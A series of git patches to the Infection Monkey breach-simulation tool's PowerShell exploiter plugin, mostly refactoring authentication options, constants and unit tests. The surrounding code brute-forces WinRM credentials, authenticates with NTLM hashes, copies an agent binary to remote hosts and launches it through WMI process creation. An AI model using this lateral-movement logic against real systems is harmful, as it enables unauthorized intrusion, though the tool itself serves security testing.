Credentials, tags: Set[str]): try: auth_options = get_auth_options(credentials, self._host) - self._powershell_client.connect_with_user( + self._powershell_client.connect( self._host, credentials, auth_options, timeout=self._options.winrm_connect_timeout ) except Exception as err: diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py index a514293a4a7..55c3e8b2b73 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py @@ -43,7 +43,7 @@ def mock_powershell_client(): def set_connected(value: bool): client.connected.return_value = value - client.connect_with_user.side_effect = lambda *_, **__: set_connected(True) + client.connect.side_effect = lambda *_, **__: set_connected(True) return client @@ -75,7 +75,7 @@ def test_login__fails( powershell_remote_access_client: PowerShellRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() - mock_powershell_client.connect_with_user.side_effect = Exception() + mock_powershell_client.connect.side_effect = Exception() with pytest.raises(RemoteAuthenticationError): powershell_remote_access_client.login(FULL_CREDENTIALS[0], tags) From 946b4b1b45158e441450f67fc02846daf390e968 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 23 May 2023 18:34:11 +0000 Subject: [PATCH 09/24] Powershell: Replace is_windows_os() with get_os() --- monkey/agent_plugins/exploiters/powershell/src/plugin.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/powershell/src/plugin.py b/monkey/agent_plugins/exploiters/powershell/src/plugin.py index f3601b8f1ca..12cb00914e9 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/plugin.py +++ b/monkey/agent_plugins/exploiters/powershell/src/plugin.py @@ -4,10 +4,11 @@ from typing import Any, Dict, Sequence # common imports +from common import OperatingSystem from common.event_queue import IAgentEventPublisher from common.types import AgentID, Event, NetworkPort from common.utils.code_utils import del_key -from common.utils.environment import is_windows_os +from common.utils.environment import get_os # dependencies to get rid of or internalize from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider @@ -52,9 +53,10 @@ def __init__( self._agent_id = agent_id self._agent_event_publisher = agent_event_publisher self._agent_binary_repository = agent_binary_repository + running_on_windows = get_os() == OperatingSystem.WINDOWS credentials_generator = partial( generate_powershell_credentials, - running_from_windows=is_windows_os(), + running_from_windows=running_on_windows, ) self._credentials_provider = BruteForceCredentialsProvider( propagation_credentials_repository, credentials_generator From 9639e5eb3bd223b660ca50d1df0d1eebd49efced Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 23 May 2023 19:16:01 +0000 Subject: [PATCH 10/24] UT: Parametrize powershell auth tests --- .../test_powershell_auth_options.py | 142 +++++++----------- 1 file changed, 53 insertions(+), 89 deletions(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py index d9799ba8b7f..d64d97158a8 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py @@ -1,3 +1,4 @@ +import pytest from agent_plugins.exploiters.powershell.src.powershell_auth_options import ( AUTH_BASIC, AUTH_NEGOTIATE, @@ -24,96 +25,59 @@ ) -def test_get_auth_options__ssl_false_with_no_open_ports(powershell_disabled_host): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, powershell_disabled_host) - assert auth_options.ssl is False - - -def test_get_auth_options__ssl_true_with_password(https_only_host): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, https_only_host) - - assert auth_options.ssl - - -def test_get_auth_options__ssl_preferred(http_and_https_both_enabled_host): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_and_https_both_enabled_host) - - assert auth_options.ssl - - -def test_get_auth_options__ssl_true_empty_password(https_only_host): - auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, https_only_host) - - assert not auth_options.ssl - - -def test_get_auth_options__ssl_true_none_password(https_only_host): - auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, https_only_host) - - assert auth_options.ssl - - -def test_get_auth_options__ssl_false_with_password(http_only_host): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_only_host) - - assert not auth_options.ssl - - -def test_get_auth_options__ssl_false_empty_password(http_only_host): - auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, http_only_host) - - assert not auth_options.ssl - - -def test_get_auth_options__ssl_false_none_password(http_only_host): - auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, http_only_host) - - assert not auth_options.ssl - - -def test_get_auth_options__auth_type_with_password(http_only_host): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_only_host) - - assert auth_options.auth_type == AUTH_NEGOTIATE - - -def test_get_auth_options__auth_type_empty_password(http_only_host): - auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, http_only_host) - - assert auth_options.auth_type == AUTH_BASIC - - -def test_get_auth_options__auth_type_none_password(http_only_host): - auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, http_only_host) - - assert auth_options.auth_type == AUTH_NEGOTIATE - - -def test_get_auth_options__auth_type_with_LM_hash(http_only_host): - auth_options = get_auth_options(CREDENTIALS_LM_HASH, http_only_host) - - assert auth_options.auth_type == AUTH_NTLM - - -def test_get_auth_options__auth_type_with_NT_hash(http_only_host): - auth_options = get_auth_options(CREDENTIALS_NT_HASH, http_only_host) - - assert auth_options.auth_type == AUTH_NTLM - - -def test_get_auth_options__encryption_with_password(http_only_host): - auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_only_host) - - assert auth_options.encryption == ENCRYPTION_AUTO - - -def test_get_auth_options__encryption_empty_password(http_only_host): - auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, http_only_host) +@pytest.mark.parametrize( + "credentials, host_fixture, expected_ssl", + [ + # SSL is enabled if the host has an open HTTPS port + (CREDENTIALS_WITH_PASSWORD, "https_only_host", True), + (CREDENTIALS_WITH_PASSWORD, "http_and_https_both_enabled_host", True), + # SSL is enabled if the credentials password is None AND the host has an open HTTPS port + (CREDENTIALS_NONE_PASSWORD, "https_only_host", True), + (CREDENTIALS_NONE_PASSWORD, "http_only_host", False), + # SSL is disabled if the host has no open HTTPS port + (CREDENTIALS_WITH_PASSWORD, "http_only_host", False), + (CREDENTIALS_WITH_PASSWORD, "powershell_disabled_host", False), + # SSL is disabled if the credentials password is empty + (CREDENTIALS_EMPTY_PASSWORD, "https_only_host", False), + (CREDENTIALS_EMPTY_PASSWORD, "http_only_host", False), + ], +) +def test_get_auth_options__ssl(credentials, host_fixture, expected_ssl, request): + host = request.getfixturevalue(host_fixture) + auth_options = get_auth_options(credentials, host) + assert auth_options.ssl is expected_ssl + + +@pytest.mark.parametrize( + "credentials, expected_auth", + [ + # Basic auth is used if the credentials password is empty + (CREDENTIALS_EMPTY_PASSWORD, AUTH_BASIC), + # Negotiate auth is used if the credentials is password or cached (None) + (CREDENTIALS_WITH_PASSWORD, AUTH_NEGOTIATE), + (CREDENTIALS_NONE_PASSWORD, AUTH_NEGOTIATE), + # NTLM auth is used if the credentials is LM or NT hash + (CREDENTIALS_LM_HASH, AUTH_NTLM), + (CREDENTIALS_NT_HASH, AUTH_NTLM), + ], +) +def test_get_auth_options__auth_type(credentials, expected_auth, http_only_host): + auth_options = get_auth_options(credentials, http_only_host) - assert auth_options.encryption == ENCRYPTION_NEVER + assert auth_options.auth_type == expected_auth -def test_get_auth_options__encryption_none_password(http_only_host): - auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, http_only_host) +@pytest.mark.parametrize( + "credentials, expected_encryption", + [ + (CREDENTIALS_WITH_PASSWORD, ENCRYPTION_AUTO), + (CREDENTIALS_EMPTY_PASSWORD, ENCRYPTION_NEVER), + (CREDENTIALS_NONE_PASSWORD, ENCRYPTION_AUTO), + ], +) +def test_get_auth_options__encryption_with_password( + credentials, expected_encryption, http_only_host +): + auth_options = get_auth_options(credentials, http_only_host) - assert auth_options.encryption == ENCRYPTION_AUTO + assert auth_options.encryption == expected_encryption From c6e435bec7a1dd7ef88cdc05d6fa38a9c3659e1e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 23 May 2023 19:49:18 +0000 Subject: [PATCH 11/24] Powershell: Remove dest path from command_builder --- monkey/agent_plugins/exploiters/powershell/src/plugin.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/powershell/src/plugin.py b/monkey/agent_plugins/exploiters/powershell/src/plugin.py index 12cb00914e9..2f98e9439ec 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/plugin.py +++ b/monkey/agent_plugins/exploiters/powershell/src/plugin.py @@ -96,7 +96,6 @@ def run( self._agent_id, servers, current_depth, - remote_agent_binary_destination_path=get_agent_dst_path(host), otp_provider=self._otp_provider, ) powershell_exploit_client_factory = PowerShellRemoteAccessClientFactory( From e75bf7c98191a4e303062539c6e0b70b5a871014 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 24 May 2023 11:06:55 +0000 Subject: [PATCH 12/24] PowerShell: Accept None for user connection --- .../powershell/src/powershell_client.py | 38 ++++++++++--------- 1 file changed, 21 insertions(+), 17 deletions(-) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py index 90b219ee7fd..788d748f5b5 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py @@ -80,23 +80,27 @@ def connect( :param timeout: The timeout for the connection :raises Exception: If an error occurred while attempting to connect """ - if isinstance(credentials.identity, Username): - self._client = Client( - str(host.ip), - username=credentials.identity.username, - password=format_password(credentials), - cert_validation=False, - auth=auth_options.auth_type, - encryption=auth_options.encryption, - ssl=auth_options.ssl, - connection_timeout=timeout, - ) - - # Attempt to execute dir command to know if authentication was successful. - # This will raise an exception if authentication was not successful. - self._client.execute_cmd("dir") - self._authenticated = True - logger.debug("Successfully authenticated to remote PowerShell service") + username = ( + credentials.identity.username + if isinstance(credentials.identity, Username) + else credentials.identity + ) + self._client = Client( + str(host.ip), + username=username, + password=format_password(credentials), + cert_validation=False, + auth=auth_options.auth_type, + encryption=auth_options.encryption, + ssl=auth_options.ssl, + connection_timeout=timeout, + ) + + # Attempt to execute dir command to know if authentication was successful. + # This will raise an exception if authentication was not successful. + self._client.execute_cmd("dir") + self._authenticated = True + logger.debug("Successfully authenticated to remote PowerShell service") def connected(self) -> bool: return self._authenticated From f41bc446cb19ed9fe589216c85d5ff7a78433d56 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 May 2023 17:06:28 +0530 Subject: [PATCH 13/24] PowerShell: Add AuthenticationType and EncryptionSetting enums --- .../powershell/src/powershell_auth_options.py | 33 +++++++++++-------- .../powershell/src/powershell_client.py | 4 +-- 2 files changed, 22 insertions(+), 15 deletions(-) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py index f1238699393..1525a49d747 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py @@ -1,22 +1,28 @@ from dataclasses import dataclass +from enum import Enum from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext from common.types import NetworkPort, PortStatus from infection_monkey.i_puppet import TargetHost -AUTH_BASIC = "basic" -AUTH_NEGOTIATE = "negotiate" -AUTH_NTLM = "ntlm" -ENCRYPTION_AUTO = "auto" -ENCRYPTION_NEVER = "never" - POWERSHELL_SSL_PORT = NetworkPort(5986) +class AuthenticationType(Enum): + BASIC = "basic" + NEGOTIATE = "negotiate" + NTLM = "ntlm" + + +class EncryptionSetting(Enum): + AUTO = "auto" + NEVER = "never" + + @dataclass class AuthOptions: - auth_type: str - encryption: str + auth_type: AuthenticationType + encryption: EncryptionSetting ssl: bool @@ -29,7 +35,8 @@ def get_auth_options(credentials: Credentials, host: TargetHost) -> AuthOptions: def _get_ssl(credentials: Credentials, host: TargetHost) -> bool: - # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER + # Passwordless login only works with SSL false, + # AuthenticationType.BASIC and EncryptionSetting.NEVER if isinstance(credentials.secret, Password): if get_plaintext(credentials.secret.password) == "": return False @@ -47,16 +54,16 @@ def _get_ssl(credentials: Credentials, host: TargetHost) -> bool: def _get_auth_type(credentials: Credentials): if isinstance(credentials.secret, Password): if get_plaintext(credentials.secret.password) == "": - return AUTH_BASIC + return AuthenticationType.BASIC if isinstance(credentials.secret, LMHash) or isinstance(credentials.secret, NTHash): - return AUTH_NTLM + return AuthenticationType.NTLM - return AUTH_NEGOTIATE + return AuthenticationType.NEGOTIATE def _get_encryption(credentials: Credentials): secret = None if isinstance(credentials.secret, Password): secret = get_plaintext(credentials.secret.password) - return ENCRYPTION_NEVER if secret == "" else ENCRYPTION_AUTO + return EncryptionSetting.NEVER if secret == "" else EncryptionSetting.AUTO diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py index 788d748f5b5..7749143b100 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py @@ -90,8 +90,8 @@ def connect( username=username, password=format_password(credentials), cert_validation=False, - auth=auth_options.auth_type, - encryption=auth_options.encryption, + auth=auth_options.auth_type.value, + encryption=auth_options.encryption.value, ssl=auth_options.ssl, connection_timeout=timeout, ) From 15e046ae3add8a861964827723d107fbea0717c7 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 May 2023 17:12:53 +0530 Subject: [PATCH 14/24] PowerShell: Rename some things for better readability --- .../powershell/src/powershell_auth_options.py | 24 +++++++++---------- .../powershell/src/powershell_client.py | 14 +++++++---- 2 files changed, 21 insertions(+), 17 deletions(-) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py index 1525a49d747..562e17ac6fd 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py @@ -20,21 +20,21 @@ class EncryptionSetting(Enum): @dataclass -class AuthOptions: - auth_type: AuthenticationType - encryption: EncryptionSetting - ssl: bool +class AuthenticationOptions: + authentication_type: AuthenticationType + encryption_setting: EncryptionSetting + ssl_enabled: bool -def get_auth_options(credentials: Credentials, host: TargetHost) -> AuthOptions: - ssl = _get_ssl(credentials, host) - auth_type = _get_auth_type(credentials) - encryption = _get_encryption(credentials) +def get_auth_options(credentials: Credentials, host: TargetHost) -> AuthenticationOptions: + ssl_enabled = _get_ssl_enabled(credentials, host) + authentication_type = _get_authentication_type(credentials) + encryption_setting = _get_encryption_setting(credentials) - return AuthOptions(auth_type, encryption, ssl) + return AuthenticationOptions(authentication_type, encryption_setting, ssl_enabled) -def _get_ssl(credentials: Credentials, host: TargetHost) -> bool: +def _get_ssl_enabled(credentials: Credentials, host: TargetHost) -> bool: # Passwordless login only works with SSL false, # AuthenticationType.BASIC and EncryptionSetting.NEVER if isinstance(credentials.secret, Password): @@ -51,7 +51,7 @@ def _get_ssl(credentials: Credentials, host: TargetHost) -> bool: return False -def _get_auth_type(credentials: Credentials): +def _get_authentication_type(credentials: Credentials): if isinstance(credentials.secret, Password): if get_plaintext(credentials.secret.password) == "": return AuthenticationType.BASIC @@ -62,7 +62,7 @@ def _get_auth_type(credentials: Credentials): return AuthenticationType.NEGOTIATE -def _get_encryption(credentials: Credentials): +def _get_encryption_setting(credentials: Credentials): secret = None if isinstance(credentials.secret, Password): secret = get_plaintext(credentials.secret.password) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py index 7749143b100..590a5bf62f6 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py @@ -12,7 +12,7 @@ from common.credentials import Credentials, LMHash, NTHash, Password, Username, get_plaintext from infection_monkey.i_puppet import TargetHost -from .powershell_auth_options import AuthOptions +from .powershell_auth_options import AuthenticationOptions logger = logging.getLogger(__name__) @@ -69,7 +69,11 @@ def __init__(self): self._authenticated = False def connect( - self, host: TargetHost, credentials: Credentials, auth_options: AuthOptions, timeout: float + self, + host: TargetHost, + credentials: Credentials, + auth_options: AuthenticationOptions, + timeout: float, ): """ Connects to the remote host using the given credentials. @@ -90,9 +94,9 @@ def connect( username=username, password=format_password(credentials), cert_validation=False, - auth=auth_options.auth_type.value, - encryption=auth_options.encryption.value, - ssl=auth_options.ssl, + auth=auth_options.authentication_type.value, + encryption_setting=auth_options.encryption_setting.value, + ssl_enabled=auth_options.ssl_enabled, connection_timeout=timeout, ) From 47859ae9b4915483a796fc5a04589a5f7bd547fe Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 May 2023 17:15:11 +0530 Subject: [PATCH 15/24] UT: Fix PowerShell plugin tests --- .../unit_tests/agent_plugins/conftest.py | 12 +++--- .../test_powershell_auth_options.py | 41 +++++++++---------- 2 files changed, 25 insertions(+), 28 deletions(-) diff --git a/monkey/tests/unit_tests/agent_plugins/conftest.py b/monkey/tests/unit_tests/agent_plugins/conftest.py index 2f9d4cc0fff..8737b3a9dd7 100644 --- a/monkey/tests/unit_tests/agent_plugins/conftest.py +++ b/monkey/tests/unit_tests/agent_plugins/conftest.py @@ -8,21 +8,21 @@ def _create_windows_host(http_enabled, https_enabled): - no_ssl_port = NetworkPort(5985) - ssl_port = NetworkPort(5986) + no_ssl_enabled_port = NetworkPort(5985) + ssl_enabled_port = NetworkPort(5986) host = MagicMock() host.operating_system = OperatingSystem.WINDOWS host.ports_status = TargetHostPorts() if http_enabled: - host.ports_status.tcp_ports[no_ssl_port] = PortScanData( - port=no_ssl_port, status=PortStatus.OPEN, protocol=NetworkProtocol.TCP + host.ports_status.tcp_ports[no_ssl_enabled_port] = PortScanData( + port=no_ssl_enabled_port, status=PortStatus.OPEN, protocol=NetworkProtocol.TCP ) if https_enabled: - host.ports_status.tcp_ports[ssl_port] = PortScanData( - port=ssl_port, status=PortStatus.OPEN, protocol=NetworkProtocol.TCP + host.ports_status.tcp_ports[ssl_enabled_port] = PortScanData( + port=ssl_enabled_port, status=PortStatus.OPEN, protocol=NetworkProtocol.TCP ) return host diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py index d64d97158a8..a122937264c 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py @@ -1,10 +1,7 @@ import pytest from agent_plugins.exploiters.powershell.src.powershell_auth_options import ( - AUTH_BASIC, - AUTH_NEGOTIATE, - AUTH_NTLM, - ENCRYPTION_AUTO, - ENCRYPTION_NEVER, + AuthenticationType, + EncryptionSetting, get_auth_options, ) @@ -26,7 +23,7 @@ @pytest.mark.parametrize( - "credentials, host_fixture, expected_ssl", + "credentials, host_fixture, expected_ssl_enabled", [ # SSL is enabled if the host has an open HTTPS port (CREDENTIALS_WITH_PASSWORD, "https_only_host", True), @@ -42,42 +39,42 @@ (CREDENTIALS_EMPTY_PASSWORD, "http_only_host", False), ], ) -def test_get_auth_options__ssl(credentials, host_fixture, expected_ssl, request): +def test_get_auth_options__ssl_enabled(credentials, host_fixture, expected_ssl_enabled, request): host = request.getfixturevalue(host_fixture) auth_options = get_auth_options(credentials, host) - assert auth_options.ssl is expected_ssl + assert auth_options.ssl_enabled is expected_ssl_enabled @pytest.mark.parametrize( "credentials, expected_auth", [ # Basic auth is used if the credentials password is empty - (CREDENTIALS_EMPTY_PASSWORD, AUTH_BASIC), + (CREDENTIALS_EMPTY_PASSWORD, AuthenticationType.BASIC), # Negotiate auth is used if the credentials is password or cached (None) - (CREDENTIALS_WITH_PASSWORD, AUTH_NEGOTIATE), - (CREDENTIALS_NONE_PASSWORD, AUTH_NEGOTIATE), + (CREDENTIALS_WITH_PASSWORD, AuthenticationType.NEGOTIATE), + (CREDENTIALS_NONE_PASSWORD, AuthenticationType.NEGOTIATE), # NTLM auth is used if the credentials is LM or NT hash - (CREDENTIALS_LM_HASH, AUTH_NTLM), - (CREDENTIALS_NT_HASH, AUTH_NTLM), + (CREDENTIALS_LM_HASH, AuthenticationType.NTLM), + (CREDENTIALS_NT_HASH, AuthenticationType.NTLM), ], ) -def test_get_auth_options__auth_type(credentials, expected_auth, http_only_host): +def test_get_auth_options__authentication_type(credentials, expected_auth, http_only_host): auth_options = get_auth_options(credentials, http_only_host) - assert auth_options.auth_type == expected_auth + assert auth_options.authentication_type == expected_auth @pytest.mark.parametrize( - "credentials, expected_encryption", + "credentials, expected_encryption_setting", [ - (CREDENTIALS_WITH_PASSWORD, ENCRYPTION_AUTO), - (CREDENTIALS_EMPTY_PASSWORD, ENCRYPTION_NEVER), - (CREDENTIALS_NONE_PASSWORD, ENCRYPTION_AUTO), + (CREDENTIALS_WITH_PASSWORD, EncryptionSetting.AUTO), + (CREDENTIALS_EMPTY_PASSWORD, EncryptionSetting.NEVER), + (CREDENTIALS_NONE_PASSWORD, EncryptionSetting.AUTO), ], ) -def test_get_auth_options__encryption_with_password( - credentials, expected_encryption, http_only_host +def test_get_auth_options__encryption_setting_with_password( + credentials, expected_encryption_setting, http_only_host ): auth_options = get_auth_options(credentials, http_only_host) - assert auth_options.encryption == expected_encryption + assert auth_options.encryption_setting == expected_encryption_setting From 43d58ab6aa1623c0028f24203bdaf42c988940ad Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 May 2023 17:19:05 +0530 Subject: [PATCH 16/24] PowerShell: Rename powershell_auth_options.py -> powershell_authentication_options.py --- ...ell_auth_options.py => powershell_authentication_options.py} | 0 .../exploiters/powershell/src/powershell_client.py | 2 +- .../powershell/src/powershell_remote_access_client.py | 2 +- 3 files changed, 2 insertions(+), 2 deletions(-) rename monkey/agent_plugins/exploiters/powershell/src/{powershell_auth_options.py => powershell_authentication_options.py} (100%) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_authentication_options.py similarity index 100% rename from monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py rename to monkey/agent_plugins/exploiters/powershell/src/powershell_authentication_options.py diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py index 590a5bf62f6..ecf56e87c2a 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py @@ -12,7 +12,7 @@ from common.credentials import Credentials, LMHash, NTHash, Password, Username, get_plaintext from infection_monkey.i_puppet import TargetHost -from .powershell_auth_options import AuthenticationOptions +from .powershell_authentication_options import AuthenticationOptions logger = logging.getLogger(__name__) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py index d3970c48cfb..123f07f279a 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py @@ -20,7 +20,7 @@ from infection_monkey.exploit.tools.helpers import get_random_file_suffix from infection_monkey.i_puppet import TargetHost -from .powershell_auth_options import get_auth_options +from .powershell_authentication_options import get_auth_options from .powershell_client import PowerShellClient from .powershell_options import PowerShellOptions From cf7aee2a6f627a34934259a2da5e12702953a0ab Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 May 2023 17:19:19 +0530 Subject: [PATCH 17/24] UT: Rename test_powershell_auth_options.py -> test_powershell_authentication_options.py --- ...uth_options.py => test_powershell_authentication_options.py} | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename monkey/tests/unit_tests/agent_plugins/exploiters/powershell/{test_powershell_auth_options.py => test_powershell_authentication_options.py} (97%) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_authentication_options.py similarity index 97% rename from monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py rename to monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_authentication_options.py index a122937264c..517ef019fd3 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_authentication_options.py @@ -1,5 +1,5 @@ import pytest -from agent_plugins.exploiters.powershell.src.powershell_auth_options import ( +from agent_plugins.exploiters.powershell.src.powershell_authentication_options import ( AuthenticationType, EncryptionSetting, get_auth_options, From 522cf4bdf273d81449fc13f5ae05408c0e9d92c4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 May 2023 17:23:28 +0530 Subject: [PATCH 18/24] PowerShell: Add powershell_consts.py --- monkey/agent_plugins/exploiters/powershell/src/plugin.py | 7 ++----- .../powershell/src/powershell_authentication_options.py | 4 ++-- .../exploiters/powershell/src/powershell_consts.py | 4 ++++ 3 files changed, 8 insertions(+), 7 deletions(-) create mode 100644 monkey/agent_plugins/exploiters/powershell/src/powershell_consts.py diff --git a/monkey/agent_plugins/exploiters/powershell/src/plugin.py b/monkey/agent_plugins/exploiters/powershell/src/plugin.py index 2f98e9439ec..7cc1bab9f06 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/plugin.py +++ b/monkey/agent_plugins/exploiters/powershell/src/plugin.py @@ -6,7 +6,7 @@ # common imports from common import OperatingSystem from common.event_queue import IAgentEventPublisher -from common.types import AgentID, Event, NetworkPort +from common.types import AgentID, Event from common.utils.code_utils import del_key from common.utils.environment import get_os @@ -23,16 +23,13 @@ from .credentials_generator import generate_powershell_credentials from .powershell_command_builder import build_powershell_command +from .powershell_consts import POWERSHELL_NO_SSL_PORT, POWERSHELL_SSL_PORT from .powershell_options import PowerShellOptions from .powershell_remote_access_client_factory import PowerShellRemoteAccessClientFactory logger = logging.getLogger(__name__) -POWERSHELL_NO_SSL_PORT = NetworkPort(5985) -POWERSHELL_SSL_PORT = NetworkPort(5986) - - def should_attempt_exploit(host: TargetHost) -> bool: return not all_tcp_ports_are_closed(host, [POWERSHELL_NO_SSL_PORT, POWERSHELL_SSL_PORT]) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_authentication_options.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_authentication_options.py index 562e17ac6fd..69c98c32718 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_authentication_options.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_authentication_options.py @@ -2,10 +2,10 @@ from enum import Enum from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext -from common.types import NetworkPort, PortStatus +from common.types import PortStatus from infection_monkey.i_puppet import TargetHost -POWERSHELL_SSL_PORT = NetworkPort(5986) +from .powershell_consts import POWERSHELL_SSL_PORT class AuthenticationType(Enum): diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_consts.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_consts.py new file mode 100644 index 00000000000..87f214ba4cb --- /dev/null +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_consts.py @@ -0,0 +1,4 @@ +from common.types import NetworkPort + +POWERSHELL_NO_SSL_PORT = NetworkPort(5985) +POWERSHELL_SSL_PORT = NetworkPort(5986) From 54ee96113e1d6bdeabb5415a99e31946d615f102 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 May 2023 17:26:13 +0530 Subject: [PATCH 19/24] PowerShell: Ignore mypy errors in PowerShellClient --- .../exploiters/powershell/src/powershell_client.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py index ecf56e87c2a..5958acf1fca 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py @@ -118,7 +118,7 @@ def copy_file(self, src: Path, dest: PurePath): :raises Exception: If an error occurred while attempting to copy the file """ try: - self._client.copy(str(src), str(dest)) + self._client.copy(str(src), str(dest)) # type: ignore[union-attr] logger.debug(f"Successfully copied {src}") except Exception as err: logger.error(f"Failed to copy {src} to {dest}: {err}") @@ -132,7 +132,10 @@ def execute_cmd_as_detached_process(self, cmd: str): :raises Exception: If an error occurred while attempting to execute the command """ logger.debug("Attempting to execute a command on the remote host as a detached process.") - with self._client.wsman, RunspacePool(self._client.wsman) as pool: + with ( + self._client.wsman, # type: ignore[union-attr] + RunspacePool(self._client.wsman) as pool, # type: ignore[union-attr] + ): ps = PowerShell(pool) ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( "name", "create" From 24e3022816b2948dd7785a7bee80921393635201 Mon Sep 17 00:00:00 2001 From: Shreya 